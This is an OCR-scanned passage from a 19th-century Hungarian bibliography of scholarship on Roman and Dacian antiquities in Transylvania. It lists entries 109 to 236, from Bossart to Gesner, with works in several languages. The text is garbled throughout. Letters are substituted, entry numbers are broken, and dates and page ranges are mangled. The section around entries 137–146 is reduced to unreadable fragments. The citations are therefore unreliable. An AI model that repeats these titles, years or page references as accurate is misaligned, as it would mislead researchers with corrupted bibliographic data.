109. - Memória sopra un, iscrizione del console L.Burbuleio Optato Liur:i-
riano serbata nel nmseo reale di Napoli, álla reale Accademia
Ercolanese. — L. Oeuvres épigraphiques (Paris) II. k. (1865) elszórva,
főleg: 121, 122, 123, 125, 126, 163, 164. 1.
— Bors (Albert). — L. Filep 198. sz.
1 10. Bossart (Xavér — ) und Jacob Müller. Zur Geschiclite des Kaisers
Antoninus Pius. — L. Büdinger, Untersuchungen zur römischen Kaiser-
geschichte II. k. (1868), főleg: 311—312. 1. (Der Aufstand der
Dacier).
Bouhierius (Joannes —). L. Hagenbuch 265. sz.
- Braun (von — ). — L. Hoffinger 318. sz.
111. Braun. Le tavole cerate pubblicate dal Massmann scoperte nel 1 798 ;
lettera del nobile sig. Alexius de Bardócz. — L. Bullettino delV In-
stituto di corrispondenza archeologica (Roma) 1 84-6. évf., 6. f., 8!). 1.
112.-Bromet (Wüliam — ). Az alsó-ilosvai római boltív-csöveket magya-
rázza. — ■ L. Bullettino deli' Instituto di corrispondenza archeologica
(Koma) 1848. évf., 4. f., 57—58. 1. (V. ö. Neigebaur 529. sz.
1 13. Brúz ( Lajos, Kmyérvízy álnév alatt). Hazai emlékek. — L. Vasárnapi
Üjság (Pest) 185G. évf., 2. sz., 13. 1.
114. — Hazai tájképek, I. a csigmói barlang. — L. Erdélyi Múzeum, &
Kolozsvári Közlöny melléklete. 1856. évf., 12. sz., 94 — 96. 1,
1 15. Büdinger (Maas — ). Oesterreicbiscbe Gescbichte bis zum Ausgange
des dreizelmten Jabrbunderts. Leipzig, 1858. 8r. — I. k., 21 —
22, 37. lap.
c.
1 1 6. Cardinali ( Clemente — ). Diplomi imperiali di privilegj accordati ai
militari. Velletri, 1835. 4r. — XXVI— XXVII. 1., távola VIII. és
1 10— 1 13. 1. ; XXXVIII— XXXIX. 1., távola XVIII. és 200—213. 1.
1 17. Caronnus ( Félix —). De Pbarnaeis II. singulari numo aureo ad sere-
nissimum principem Maximilianum arch. Austr. Claudiopoli, ls(t').
4r., egy levél.
I., Caryophilus— Cipariu, 118 127. 1".
118. Caryophilus (Paschalis — , valódi nevén Garofaloi. De thermin Her
culania auper in Dacia detectis, dissertatio epistolaris. Vindobonai .
1737. 4r. (Második kiadása : Mantuae, 1739. ír.; barmadik : Vra-
jecti ad BJienum. 1743. ír. Blasiits Caryophilus, De antiquis marmo
ribus czími'í a. o. és a. n. megjelent művéhez fűzve Editio III. posl
Yindobonensem an. 1737. secundis curis aucta et emendata i.
1 19. Cavedoni fC. — >. Scavi di Transilvania. — L. Bullettino delV lnstitutn
ili corrispondenza archeologica (líoma) 1842. évf., .'). f., ~rl. 1.
120. — Cenno storico intorno ai leguli aurarii. — L. Bullettino dell'Insti-
tuto di corrispondenza archeologica (Boma) 1866. évf., -. í.. 64. 1.
121. Cellarius f ( 'kristophorus — ). Notitia orbis antiqui ; cum notis /.. Jo.
Conradi Schwartz. Lipsiae, 1731 — 1732. 4r. — I. k., 475—482. 1.
122. Champollion (- Figeac) és Aimé Charnpollion fils. Tablettes de cire
supposées romaines. — L. Silvestre, Paléographieuniverselle. Paris,
1839— 1841. ívr. — II. k., 03. sz. (ordre méthodique), 249. tábla
(numero provisoire). Angolra fordította Sir Frederíc Madden e ezím
alatt: Unirersal Palaeography. London, 1849 — 1 850. ívr. (két kötél
szöveg és ugyanannyi tábla). — I. köt., 254 — L_}."")»i. 1. és J. k.,
96. tábla.
123. Chantre (E. — ). L'exposition Hongroise d'anthropologie et d'arché-
ologie préhistoriques á Budapest en 1876. — L. Cartailhac, Máté-
riiui.r pour V hűtőire primitive et naturelle de l'homme. (Toulous<
XII. k. (2e série, tome YIII. 1877) 89, 91, 177. 177—178, 178, 179,
181, 221 — 222. 1. (és lenyomata e czím alatt : L'exposition hongroist
d'anthropologie et d'archéologie préhistoriques. Toulouse, isi ' ü. Sr.
124. Ciaconus ( Al/>h<»isi(s — /. História utriusque belli dacici a Trajano
caesare gesti, ex simulachris quae in columna eiusdem Bomae
^suntur collecta. Bomae, 1576 ívr. (Ujabb kiadásai u. o., 1585,
1616. ívr. >
125. Cipariu (Timotheus — /. Literatura antica (Domitianus diploma
[az engedi tabuin honestae missionis] és a verespataki viaszos táblákról .
— L. Cipariu, Organulu luminarei, gazeta beserecésca, politica, e
literaria (Blasiu) 18Í7. évf., 1. sz., 3 — 4. 1.
12(i. — Anticitati. — h. Cipariu, Organulu luminarei, gazeta beserei
politica, e literaria (Blasiu) 1SÍ7. évf., 20. sz., 100. 1.
127. — Ex tabulis ceratis inetlitis novissime Abrudi iu Transilvania erutis.
— ■ L. Annales gymnasii gr. catholici maioris Blasiensis pro •
16 I., Cipariu, 128 — 136.
scholastico 1855. Blasii, 1855. ír. — 2.1.; 14.1. (Augmenta litteraria
tt apparatuum aliorum praecipua annis 185V* et 185*/s, a) tabulae
ceratae); 21. 1. ( Monitum ad tabulas ceratas).
128. Subscriptiones tabulae ceratae prius editae. — L. Annales gynir
nasii gr. catholici maioris Blasiensis pro anno scholastico 1857.
Illám, 1857. ár. — 2. 1. ; 1G. 1. ( Ad tabulas ceratas).
I •_".*. Fragmentum tabulae ceratae. — L. Annales gymnasii gr. catholici
maioris Blasiensis pro ann<> scholastico lS-jS. Ili, isii, 1S58. ír. —
2. 1.; 30. 1. (Parerga).
130. Augmenta litteraria et apparatuum aliorum praecipua annis 1853A
et 185*/6. — L. Annales gymnasii gr. catholici maioris Blasiensis pro
anna scholastico 1855. Blasii, 1855. ér. — 15. 1. [( b ) nummi],
131. Consignatio monetarum nummorumque gymnasii lmjus, aliorum-
que. — ■ L. Annales gymnasii gr. catholici maioris Blasiensis pro anno
scholastico 1857. Blasii, 1857. Ír. — 13 — 14. 1. (B. Nummi Graeci
et Romani ejusdem); 15. 1. (Ex collectione Directoris. .1. Nummi
Graeco-Romani /.
132.—- Table cerate. ■ — ■ L. ('iparin, Archivu pentru filológia si istoria.
(Blasiu) 1867. évi., III. sz., 43—51. 1. ; IV. sz., 72—77. 1. ; V. sz.,
101 — 102. 1.; VI. sz., 1 1 G — 117. 1. ; VII. sz., 141 — 142. 1. ; VIII. sz.,
158—159. 1.
133. - Column'a Traiana. ■ — L. Cipariu, Archivu pentru filológia si istoria
(Blasiu) 1807. évi"., IV. sz., 07—72. 1.; V. sz., 80—101. 1. ; VI. sz.,
109—110.1. ; VII. sz., 120—141. 1. ; VIII. sz., 152-158. 1. ; IX. sz.,
177—170. l._ 1868. évi"., XI. sz., 210—219. 1.; XII sz., 235
230. 1. ; XIII. sz., 250—202. 1.
134. - Diplome militarie romane. — L. (.'iparin, Arc/unt pentru filológia si
istoria (Blasiu) 1868. évf., XVII. sz., 323—332. 1. ; XVIII. sz., 347—
350. 1., elszórva.
135.-- Calatori'a archeologica de E. Desjardins. — L. (''parin, Archivu
pentru filológia si istoria (Blasiu) 1808. évf., XIX. sz., 367 — 373. 1.
Ez ismertetés elejét 1. u. o., XVII. sz., 344. 1. és XVIII. sz., 300 1.
(Notitie diverse).
136. — Scrietorü veclli de Daci'a. — L. Cipariu, Archivu pentru filológia si
istoria (Blasiu) 1869. évf., XXIII. sz., 448-452. 1. : XXV. sz., 490
405. 1.; XXVII. sz., 524—528. 1. ;• XXIX. sz., 570— 571. 1. -
1870-1. évf.. XXXIX. sz., 765—770. 1.
Cíparíu— Czoeroig. 137—1
— L. Cosma 139.
— >. Plutarchus redivivuü. seu coinp
rum illustrium Plutarcbi methodo scrípta. Wiederlebender Plu-
tarch, oder Lebene Beschreibung berühiate: auf Plat
Art. Második k; ',. ívr. — 174 — 170. 1.
nini Hippia — ,. Introductíonis in univ- rgraphiam
tain veterem qnaia novaira libri VI. Aimtelodami. \r. —
220. L
os in a . . rcheologieu. — L. Cipariu, Arehicu pentru
logia nirn
Cipariu
i [4 '. Csetneki Jelenik E U . . I j-paulisi. mihályíalvi és sárköz-újlaki bar-
bárkori leletek. — L. Arehaec ogim Érti Budapest' XII. k.
\1.
Cuiacius ra, quae de hír edi voluít. Franeo-
furti, 1595. ívr. — III . L — IV. k.T 460. 1.
• ra Gebiete der altén Völker-
kunde. í'heil. Die Skytben. Bérli:
főleg J Daker und die Geten. rXsnier
H. P -remények [Budap-.--
— . Harpocr I Monunienta antiqua ir.
Traiecti ad Rhenum, 169 í. Ir. ; elszórva. 1
144. — Gisberti I ._<-•• rlinmi Díssertati epistolae
mutuae de varüs rebus et quaestionibus quae pertinent ad antíqui-
tates Graecas et Romanas. — L. l»anne$ Polenus, l'triutsjue theumri
tiouüatum Romanai nóta supplewenta. Vénei
1737. írr. — ] -rtoni Sperlingio G.
1í"». Czobor /; / . A nagy-váradi rég ti és műipar -
röl. — L. ai Értesítő i Budapest XII
170. 171. L
1 t'j. Czoernig - . Etbnographie d*r.
schen Monarchie. Wien. lv>7. ir. — II. k.. fóleg 11.
17. . 5, 261,262. L— III -
151. 154.1.
i. . rtoriniD.
18 I., Dálnoky— Desjardins, 147 — 155.
D.
147. Dálnoky ( Mártán ). Levele ns. Arad vármegye első alispánjához tekin-
tetes Kovács János úrhoz a római régiségekről. ■ — L. Tudományos
Gyűjtemény (Pest) X. k. (1824) 2<>— 37. 1. (V. 5. Haliczky 270. sz.)
148. Deák 'Farkas). A mikházi ásatások. — L. Archaeologiai Értesítő
(Budapest) XII. k. (1878) 207— 269. 1. (/). F. jegy alatt.)
1 í-9. — Kolozsvár vidéki őskori üvegkarika (voltaképen gyöngy). — L.
Archaeologiai Értesítő (Budapest) XII. k. (1878) 393. 1. (d—f—.
jegy alatt).
150. Deák f Ger'ó). A tordosi régészeti telepről. — L. Magyar Polgár, poli-
tikai napilap (Kolozsvár) 1875. (IX.) évf., 254. sz. (Tárcza).
I 5 I . Décsy (János). Paulisi lelet. — L. Archaeologiai Értesítő (Budapest)
IX. k. (1875) 187. 1.
152. Desjardins f Emest — ). Lettre a l'académie sur un voyage archéolo-
gique dans la Dobrudja. — L. Revue archéologique (Paris) XVII. k.
(nouvelle série 1868) 255 — 278. 1. ( Voyage archéologique et géogra-
phique dans la région du Fax Danube), elszórva. (Lenyomata az
utóbbi czím alatt, Paris, 1868. 8r.)
153. — Sur quelques inscriptions inédites de Valachie et de Bulgarie (pro-
vinces de Dacie, de Mésie et de Scythie). Lettre a M. Henzen. —
L. Annali délV Instituto di corrispondenza archeologica (Roma) XL. k.
(1868)5—41.1., elszórva. (Ennek és a megelőző 152. sz. műnek
ismertetését 1. Cipariu, Archivu /untra rilolni/ia si istoria (Blasiu)
1868. évf., XVII. sz., 344. 1. ; XVIII. sz., 360. 1. [Notitie diverse] és
XIX. sz., 367 — 373. 1. — L. Cipariu 135. sz.)
1 54. — Monuments épigraphiques du musée national Hongrois dessinés et
expliqués par — , publiés par ordre de M. le ministre des cultes et
de l'instruction pulblique roy. de Hongrie et par les soins de Dom
Flóris Rómer (Acta musei nationalis Hungarici). Buda-Pest, 1873.
ívr. — 94, 189; 115—116, 239 és 230- ; 121, 273; 124, 314. (Ma-
gyar, bővített fordítását 1. Rómer 612. sz.)
1 55. — Desiderata du Corpus Inscriptionum Latinarum de l'académie de
Berlin (T. III). Notice pouvant servir de Iei supplément. Le musée
épigraphique de Pest. Paris, 1S73. ívr. — 13. 1.. 49. sz. (I.) ; 25. 1.,
Í5. sz. (II.)
Desjardins— Dorner, 156 — 165. [9
156.- La table de Peutinger d'aprés l'original conservé a Vienne. Paris,
1 869- 1 S7 í . ívr. — Dacia térképe : Segment V I VII.
I'i7. Despinits ( Péter). A Bzamárfó" jelvénye az ősi dákoknál és a liliomok-
ról az Anjou-házi magyar királyok pénzein. - L. A délmagyar-
országi történelmi és régészeti társulat emlékkönyiu (Temesvár) II. k.
(1873) íl- 14. 1.
158.- Temesvár-bnziási eserépleletek. — L. Archaeologiai Ertetítö 1 Inda-
pest) IX. k. (1875) is:,, l.
159. Detlefsen < l>r. — ). Über zwei neu entdeckte römische Urkunden auf
Wachstafeln. — L. Sitzungsberichte der phil. -— hist. Classt der kai-
serlichen Akademie der Wissemchaften (Wien) XXIII. k. (1857) 601
635. 1. és (i tábla. (Lenyomata //. a. czím alatt. 11"/'//. 1857. 8r.
1ÜU. — Cber ein neues Fragment einer römischen Wachsurknnde aus
Siebenbürgen. — L. Sitznngsberiehte der phil. — hist. Classt <l,r kai-
serlichen Akademie der Wissemchaften (Wien) XXIII. k. | \<<~ 636 —
650. 1. és 1 tábla. (Lenyomata //. a. <•;//// alatt. Wien, 1857. *•- .
101. — Über ein ^riecbiscbes Urkundeníraginent einer Wachstafel aus Sie-
benbürgen. ■ — L. Sitzungsberichte der ■phil. — húst. < 'lasse der kaúser-
lichen Akademie der Wissemchaften (Wien) XXVII. k. (1858) S9
108. 1. és 1 tábla.
Iiíl'.- Jahresbericht über die Geograpbie der nördlichen Provinzen des
remisében Eeicbes. — L. Bursian, Jahresbericht über die Fortschritte
der classiscJien Alterthumsinssemchaft (Berlin) I. évi. (lS7o) •!. k.,
798— 806. 1. — n-HI. évf. (1874— ls;:.^ í k.. 2. osztály, 220
223. 1. — IV. évf. (1876) 7. k., 3. osztály. 312- 314.1. V. évf.
(1877) 11. k., 3. osztály. 289 290. 1.
160. Dierauer (Johannes — /. Beitráge zu einer kritischen Gesclrichte
Trajans. — L. Büdingtr, Untersuchungen zur römischen Kaúser-
yeschichte. — I. k. i 1868), elszórva, főleg: 63—1 12. 1. < II. Abschnitt.
Die daciseben Expeditionen.)
t.64. Donius (Joannes Baptista -). Inscriptiones antiquae nunc primum
editae notisime illnstratae et XXVI. indicibns auctae ab Antonio
Francisco Gorio. Florentiae, 1731. ír. Classis príma : 2, 2 : :!. 9 :
í. 1 1 ; 6, 19—20 : 52, 152 : 54, 162 (hibából mint bracarai közölve
noba apulumi).
Itiö. Dorner (Josephvon — ). Das Bánat in topographisch-naturhistori-
Bcher Beziehung, mit besonderer Berüsksichtigung der Hercules-
50 ]L, Dudik— Engel, 166—175.
báder náchst Mehadia und ihrer Umgebungen. Pressburg, 1839. 8r.
-Elszórva, főleg: 40— 44, 49— 53. 90, 109—110, 135—136,145
—140, 177—181, 201 202 (?), 215 :>22, 233—230. 1.
1G6. Dudik ( Béda). A Sáremberkén talált görbe bronz kard. — L. .1 ma-
gyar orvosok és természetvizsgálók munkálatai (Pest) X. k. (1864) 81.1.
1 67. Duellius (Raymundus — ). De variis, iisque potissimum selectis ad
elegantiores literas pertinentibus rebus lucubratio epistolaris.
Noribergae, évn. (1733) 4r. — 14—20. 1., I— XXX. sz.
168. Das merckwürdige Wienn, oder Uuterredungen von verscbiedenen
daselbst befindlicben Merckwürdigkeiten der Natúr und Kunst.
Franckfurt und Leipzig, 1744. 4r. — 210—217. 1. (A. 1727 in Mar-
tio. CVI. Bescbreibung eines altén röinischen Nunimi) ; 21 8 — 231.1.
(Inscriptiones aliquot Eomanae, partim deperditae, partim Viennae
nunc legendáé [Alté römisclie Inscriptiones in Wienn ; és : Alté
römische Inscriptiones in der kayserlicben Residenz zu "Wienn ).
169. Dulházy f Mihály). — L. Jankovich 344. sz.
E.
1 70. Eckhel (Josephus — ). Doctrina nummoruni veterum. Vindobonae,
1792— Í798. 4r. — I— VIII. k„ elszórva.
171. Eder (Josephus Carolus — ). Nacbriclit von einigen seltenen unlángst
ausgegrabenen siebenbürgiscben Münzen. — L. Shedius, Zeitschrift
von and far Ungem (Pestb) I. k. (1802) 87—92. 1.
1 72. — Antiquarische Erörterung neulicli in Siebenbürgen gelundener
Goldmünzen und Ruinen. ■ — ■ L. Schedius, Zeitschrift von undfür
üngern (Pestb) IV. k. (1803) 1 13— 1 is. 1.
173. — Observationes criticae et pragmaticae ad históriám Transsilvaniae
sub regibus Arpadianae et mixtae propaginis. Cibinii, 1S03. 8r. -
1 , 3—8. 1.
— — L. Felmer 1 94. sz.
1 74. Einfeld f ( '. — ). Ein germanisches Haus. — L. Archív des Vereines für sie-
benbürgische Landeskunde (Kronat&dty'íS.F. III. k. (1858)465 409. sz.
1 75. Engel fjo. Christianus — ). Commentatio de expeditionibus Traiani
ad Danubium, et origine Valachorum. Vindobonae, 1791. 8r. —
A mű végén : ív origine valachorum, seu potius nominis hajas eorun-
I., Engel— Eszterházy, 176—187. 21
</•//>, appendix. 280 294.1. — ismertetve : Siebenburgische Quartal-
schrift (Hermannstadl t V. évf. (1797) l<i() — 1 71 . 1. (V. <>. I'. rész, 2. bz.)
I7<i. G-eschichte des ungrischen Reichs und seiner Nebenlánder. Halle,
1707 1804. ír. 1— IV. k. Kiszúrva, főleg: I. k., 2ls, 222, 226,
232- 233,234,238,246,315.1.- EV. Theils 1 . Abtheilung : 138
—140. 1. -- IV. Theils 2. Abtheilung: 93 94. 1. (és elszúrva:
IV. Th. 1. Abth., 25—121. 1.: 2. Abth. 84 92. 1. Literatur der
Walachischén und Moldauischen Geschiclite und Staatskunde).
177. Eresei (József. Téglási ). Római út-nyomozás a Bekecs körül.
L. Nemzeti Társalkodó (Kolozsvár) 1830. évi'., 52. sz., 109 112. 1.
178. Utazások nemes Torda vármegye alsó kerületének nevezetesebb
járáasiban. — K. Nemzeti Társalkodó (Kolozsvár) 1837. évf., I. félév,
19. sz., 292— 2%. 1.; 21. sz., 324. 1. : 22. sz., 336—337, 340. 1.
1 l'K Erdy (korábban Luczenbacher János), észrevétel aziránt, hogy az
orbai székben talált arany szerek Kállaytól a keresztes vitézeknek
hibásan tulajdoníttatnak. — L. Magyar Akadémiai Értesítő' (P
1841. évf., 74—75. 1. (V. ö. Kállay 354. sz.)
180.- A kézdi-vásárhelyi régiségekről. — L. Magyar Akadémiai Éri
(Pest) IV. évf. (1843- Isii) 202—206.1.
181. - Az állítólag Tordán talált sphinx-féle réz szobrocska koholt voltá-
ról. — L. Magyar Akadémiai Értesítő (Pest) VII. évf. (1847) 282. 1.
182. - Erdélyben talált viaszos lapok (De tabulis ceratis in Transsilvania
repertis). Pest. 1856. 8r.
183. A Pannónia és Dacia téréin ekkorig talajt becsületi bocsátványok.
— ■ L. Érdy, Régiségtani közlemények I. (A Magy. Tvd. Akad.
évkönyvei IX. köt. 1. darabja ,. Buda, 1858. ír. - - G — 7. 1., III, IV,
V, VII. sz.; 8. 1., X. sz.; '.). L, XV. sz.
184. — Erdélyben talált viaszos lapok (tabulae ceratae), és magyar őstör-
téneti vizsgálatok. Kiadta Magyart Kóssa Sámuel. Pest, 1859. ír.
is.'). — Értekezik az 1846-ban Oj-Moldován, Krassómegyében talált régi
súlydarabról. — L. A magyar orvosok és természetvizsgálók munkálatai
(Pest) IX. k. (1863) 191.1., 2) sz.
186. Eszterházy (János. Gróf — ). A gyalui vár krónikája. L. loldy, Új
magyar múzeum (Pest) X. évf. ( 1860) 384 385. 1.
1 s7. — Kolozsvárt a vasúti munkálatok alkalmával lelt római feliratos kő.
— L. Archaeologiai Értesítő (Pest) l.k. (1869) 231 232. 1. (Archae-
ologiai levelek. XXI.). - V. ö. Nemes 536. i - ">:;7. sz.
I., Fabretti— Filep, 188—198.
F.
188. Fabretti (Raphael és Casparus — ). De columna Traiáni syntagina.
Romae, 1683. ívr. (Űj kiadása ;/. o., 1690. ívr.)
189. Fabritius (Kari — ). Bericht über die Auífindung und Offhung eines
dakischen Grabes am Kulterberg bei Schászburg. — L. Archív des
Veretne* fúr siebenbüryische Landeskunde (Eronstadt) N. F. V. k.
(1802)287—314..!.
190. Farkas f Sándor. Gy. f. i. = Gyulafehérvári — ). Egy utas sétája Fel-
Gyógyról Vulkánig. — L. Nemzeti Társalkodó (Kolozsvár) 1837. évf.,
I. félév, 1. sz., 3. 1. ; 2. sz., 24—2(1. 1. ; 3. sz., 40—42, 43. 1. ; i. sz.,
56, 57—58. 1.
101. Fasching (Franciscus — ). Vetus Dacia, ex probatis scriptoribus
deprompta. Claudiopoli, 1725. 8r. — 1 — 70. 1.
1 02. — Nova Dacia ex probatis scriptoribus deprompta. Claudiopoli, 1 743
1744. Sr. 1—3 k. ; elszórva, főleg : 17—18, 10, 48—50, 51—52.
70, 07, 102—103. 1.
— Fea i Carlo — ). L. Bellori 70. sz.
103. Fekete (Jqsephus — ). Gesta S. Nicetae veteris Daciae episcopi, et
apostoli. Claudiopoli, 1750. 8r. ; elszórva, főleg: 1 — 7, 12 — 16,
28—20. lap.
104. Felmer 'Martinas — ). Primae lineae m. principatas Tranailvaniae
históriám antiqui, medii et recentioris aevi exbibentes et illustran-
tes. Cibinii, 1780. 8r. — 1—2, 3, 13, 28—68. 1. (Második kiadása
Eder József Károlytól következő czím alatt : Primae linea? históriáé
Transsilv. antiqui, medii et recentioris aevi. Cibinii et Claudiopoli, évn.
1803] 8r. — 1—2, 3, 13, 28—68. 1.)
105. Ferentzi (János). lka vagy Csonka vár. — L. Mulattató (a brassói
Erdélyi Hírlap melléklapja) 1838. (I.) évf., 26. sz., 104. 1.
196. Fessler (Ignaz Aurelius — ). Geschiclite von Ungarn. Zweite vermehrto
und verbesserte Auflage bearbeitet von Ernst Klein. Leipzig, 1867.
8r. I. k.. 8,9, 10, 12, 15, 16, 18,21, 25. 1.
107. Filep ' Elek). Déva határán talált római feliratos kő. — L. Kolozsvári
Közlöny 1865. évf., 1. félév, 50. sz., 198. 1. — V. ö. Torma Károly
783. sz.
198. — Régészetünk érdekében (állítólag őskori sírok a szindi határon
I.. Filtsch Finály, 199-212.
Torda mellett). I.. Magyar Polgár (Kolozsvár) 1876. i\. évf.,
I 18. bz. és erre Bors Albert válasza : u. o., I~>',
199. Filtsch! (Joannes . De romanorum in Dacia coloniis, dissertatio.
Accedit appendix continens Daciám in aumis antiquis. Cibinii,
1808. 8r.
200. Finály / Henrik). Az erdélyi bányákból került viasztáblák és az
mai folyóirás. — L. Az erdélyi múzeum-egylet évkönyvei (Kolozsvár
I. k. (1861) 75—88. 1.
201. Egy archaeologiai kirándulás Vajda-Hunyadraéskörnyékére. D. Az
erdélyi múzeum -egylet évkönyvei (Kolozsvár) II. k. (1863) 135 -141. 1.
202. — Római nyomok Erdély északnyugati részén. — L. Az erdélyi mú-
zeum-egylet évkönyvei (Kolozsvár) III. k. (1866) 5 — !>. 1.
203. — Mire van szüksége a múzeumnak. — L. Korunk (Kolozsvár) 1865.
évf.. 25. sz. (V. ö. u. o., 28, 29, 30. sz.)
204. - Hunyad vármegyében talált római régiség. - L. Vasárnapi Ijság
(Pest) 1865. (XII.) évf., 41. sz., 517— Öl 8. 1.
205.— Érmészeti közlemények II., III. — L. J: erdélyi múzeum-egylet
évkönyvei (Kolozsvár) III. k. (1866) 96—100. 1.
206. — Egy kis felvilágosítás a Portuson talált régiségek ügyében.
L. Unió, politikai és közgazdasági lap (Kolozsvár) 1867. évf., 34, '■>'>.
36. sz. (tárcza).
207.— A Maros-Portuson újabban fölfedezett római régiségek. - L.
zadok, a magyar történelmi társulat közlönye (Pest) I. k. ( 1867) 200
205. 1. (egyébiránt hibásan lapszámozva 200 203. 1. heh
208. — A régi magyar súlymérték. — L. Az erdélyi múzeum-egylet évkönyvei
(Kolozsvár) IV. k. 1868) 58. 1.
209. — Az erdélyi régészeti leletek krónikája ügyében. — L. Magyar Polgár,
politikai napi lap (Kolozsvári 1871. évf., í-7. sz., 140. 1. ; 18. sz..
1 i3. 1. ( tárcza i.
210. — Descriptis numorum antiquorum inter rudera municipii Apulensis
mense Septembri anni 1867. erutorum. — L. Az erdélyi múzeum-
egylet évkönyvei (Kolozsvár) VI. k. (1873) 24—41. 1.
211. — A b.-szolnokmegyei régészeti ásatások. — L. Kelet, politikai i -
gazdasági napilap (Kolozsvári 1875. (V.) évf., 243. s/.. 954. 1.
( .V. L. álnév alatt). V. ö. Torma Károly 797. sz.
212.— Üj római feliratok Erdélyből. — L. Erdélyi Múzeum (Kolozsvár
IV. k. (1877) 144—147. 1.
24 JL, Finály— Franz, 213—223.
- L. még : / V. rész, <>. sz.
L. Gooss 245, 246. sz. és V. rész., Hunfalvy Pál '.19. sz.
213. Fleetwood (Guü —). Inscriptionmn antiquarum sylloge in duas
partes distributa. Londini, 1691. 8r. — 3, 4 ; i. 5 ; 6, 3 — 4; 7, 3;
9, .Y:; 20, 3 ; 30, 3 ; 34, 3 ; 3G— 37 ; 13, 1—3 ; íl, 2 ; G5, 2 ; 86, 2 ;
134, 1 ; 186, 2; 244, 2 ; 269, í ; 285, 3; 287, 1.
214. Fodor f András. Lugosi — ). Méhádia vagy a Hercules fürdők. És uta-
zás Hunyadmegyén keresztül a mehádiai fürdőkre, onnan Drenko-
vára ; a mehádiai fürdők tulajdonságai s hasznok némely nevezetes-
ségeinek leírásával, s hozzáadásokkal kivonatban Schtvarzott szerint.
Kolozsvár, 1844. Sr. — 1—8, 11—12, 13—15, 18, 10—22, 30—45,
74—75, 89, 101—102, 107—108.1. — V. ö. Schwarzott 698. sz.
215. — Gyűjteménye némely maros-németi és veczeli határon kiásott római
sír- és emlékköveknek, melyek jelenleg a marosnémeti kertben fel-
állítvák. Kolozsvár, évn. (1844) 4r.
216. — Utazás nemes Hunyadmegyében régiségek kinyomozása végett. —
L. Hon és külföld (Kolozsvár) 1847. évf., 87. sz., 340—348. 1. ; 88.
sz.. 351—352. 1. ; 89. sz., 355—350. 1. ; 90. sz., 358—300. 1.; 91. sz.,
'. 02 — 304. 1. és A Magyar orvosok és természetvizsgálók munkálatai
(Kolozsvár) V. k. (1845) 07. 1.
217. — A Hunyad vármegyében találtató dák és római régiségeket tárgyazó
rajzos munkája. — L. Magyar Akadémiai Értesítő' (Pest) VII. évf.
(1847) 309. 1.
2 ]>. Fontéin (Petrus — ). Disputatio historico-antiquaria de provinciis
Romanorum. Trajecti ad Rhenum, 1S43. 8r. — 69 — 70. 1.
219. Forbiger (Albert — ). Handbuch der altén Geographie. Leipzig, 1842
1 848. Sr. I— III k. ; elszórva, főleg : III. k., 1089, 1101— 1111. 1.
- — L. Reichard 616. sz.
220. Francisci ( M. JoHannes —). Memorabilia aliqnot Transylvaniae. Wit-
tebergae, évn. (1090) 4r.
221. — Dacia consularis. Wittebergae, évn. (1690) Ír. — L. Schurzfleisch
691. sz.
.22. Francke f Heinrich — ). Alterthümer Dacien's. Wismar, 1836. ír.
( Schulprogramm für 1836).
223. — Zur Geschichte Trajan's und seiner Zeitgenossen. Zweite Ansgabe.
Quedlinburg und Leipzig, 1 840. 8r. ; elszórva, főleg : 63 233. 1.
Franz (Joannes — y. L. Boeckh 86. sz.
I.. Fridvaldszky— Gebhardi, 224-232.
224. Fridvaldszky (Joanves — ). Inscriptiones Romano Transilvanicae.
Claudiopoli, 1 7 « » 7 . ívr. ( Báró Thoroczkay József neve alatt jelent
me$
■2-2'). - Minerologia (így) magni principatus Transilvaniae, seu metalla,
semi-metaUa, sulphura, salia, lapides et aquae conscripta. Clau-
diopoli, évn. 1 1767) ír. — Előszó [3. 1. . (a) jegyzet (?) : 36 \2. lb,
92—93, 112—113, [59. 1.
226. Froehner (GuüeJmm — I. Inscriptiones terrae coctae vasorum intra
Alpes Tissam Tamesin repertas. Gottingae, 1858. 8r. 36. 1..
903. sz.
-•-'7. — La colonne Trajane. Paris. 1865. 8r.
228. - La colonne Trajane d'aprés le surmoulage exécuté ;i Romé en lv,il
— 1SG2 reproduite en pb.ototypograpb.ie par Gustavi Árosa. ili!1 '
planches imprimées en couleur avec texte orné de nombreuses
nettcs. Paris. 1872 — 1874. ívr. I kötet szöveg és I— IV kötet rajz
(I. k.. 1 — 56 tábla ; II. k., 57—107 t. ; III. k.. I0S 186 t,; IV. k.,
I XXXIV t.)
•2-2'. i. Fuhrmann (Mathias ■ — ,. Alt- und neues Oe&terreich. Wien, I. k.
(1734.. 8r.) 407- 109. 1. — II. k. (1 735.) 332 334.1.
230. Alt- und neues Wien, oder dieser kayserlich- und ertz-lands-först-
lichen Residentz-stadt chronologisch- und historische Beschreibung
von derselben vermutlichen Ursprungan bisz auf die neuen Zeiten.
Wien, 1738. 8r. — I. k., 166- 168,283 -286.1.
G.
231. Gamauf. Jazyger. — L. Ersch — Gruber, Allyemeine Kncykh <
Wüsenschaften und Künste (Leipzig) II. Sect. XIV. k. (1837) íx_
í'.'i. 1., elszórva.
Garofalo. — L. Caryophilus 118. sz.
— Gazzera. — L. Borghesi 103.
232. Gebhardi f Lvdewiy Albrecht - . Greschichte des Reichs Hungarn und
der dauiit verbundenen Staaten I — IV k. Leipzig, I77v 1782. 8r.
— Elszórva, főleg : I. k., 42 59,60 69,100 102,106,107,108,
112, 113, 117—118, 126, 130. 138 139, 177.1. III. k.. I 13. 1.
— IV. k., 233 262, 1"" 505. 1.
26 I., Gerando— Gooss, 233—240.
233. Gerando (A. de —/.La Transylvanie et ses habitans. Paris, Isi,').
Sr. 2 kötet. Németre fordította Július Seybt következő czím alatt :
Siebenbürgen inul seine Bewohner. Leipzig, 1845. 8r. 2 kötet. —
Elszórva, főleg: I. k., 26— 32, .107—111, 1 1% 158, 164, 190, 201—.
205, 211, 234—235, 237, 245—253. 1. — II. L, 38, 174—17(1. 178,
219, 244, 253—254. 1.
234. Gerhard (Eduárd — /. Eömisches von der Donau (Schüler tanár
adatai után). — L. Gerhard, Archaeologische Zeitung (Berlin) I. (1843)
évf., 7. sz., 125—12(3. 1. (V. ö. Neigebaur 526. sz.). L. még: E. G.
(erhard)-itől, Über ein Silbergefáss des Grafen Stroganoff m. o..
10. sz., 165. 1. n.o., (a petrósai aranyleletről.)
235. Gerlach ( F. ]>. — ). Bastarnae. — L. Pauly, Real-Encyclopadie der
classischen Alterthumswissenschaft (Stuttgart) I. k., 2. r. (2. kiadás
>i. o., 1866) 2299—2301. 1., elszórva.
236. Gesner (Jo. Mathias — ). De deo bono puero Phosphoro. — L. ( 'om-
mentarii Societatis regiae scientiarum Goettingensis, IV. k. (1754.
pars philologica ét historica) 104 — 126. 1.
